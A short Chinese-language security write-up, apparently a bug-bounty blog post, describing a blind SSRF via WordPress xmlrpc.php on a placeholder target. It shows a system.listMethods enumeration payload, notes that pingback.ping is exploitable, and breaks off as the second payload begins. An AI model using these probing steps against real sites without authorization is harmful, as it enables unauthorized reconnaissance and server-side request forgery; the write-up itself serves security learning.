【网络安全】XML-RPC漏洞之盲SSRF

未经许可，不得转载。

漏洞原理参考：【网络安全】XML-RPC PHP WordPress漏洞

正文

探索目标时，访问该链接：https://www.target.com/about-us/xmlrpc.php，页面如下：

修改GET为POST，并构造payload，以检查 XML RPC 服务器上启用了哪些方法：

<methodCall> 
<methodName>system.listMethods</methodName> 
<params></params> 
</methodCall>

由回显可知，pingback.ping方法是可利用的，因此我构造了以下payload：

<?xml version=”1.0" e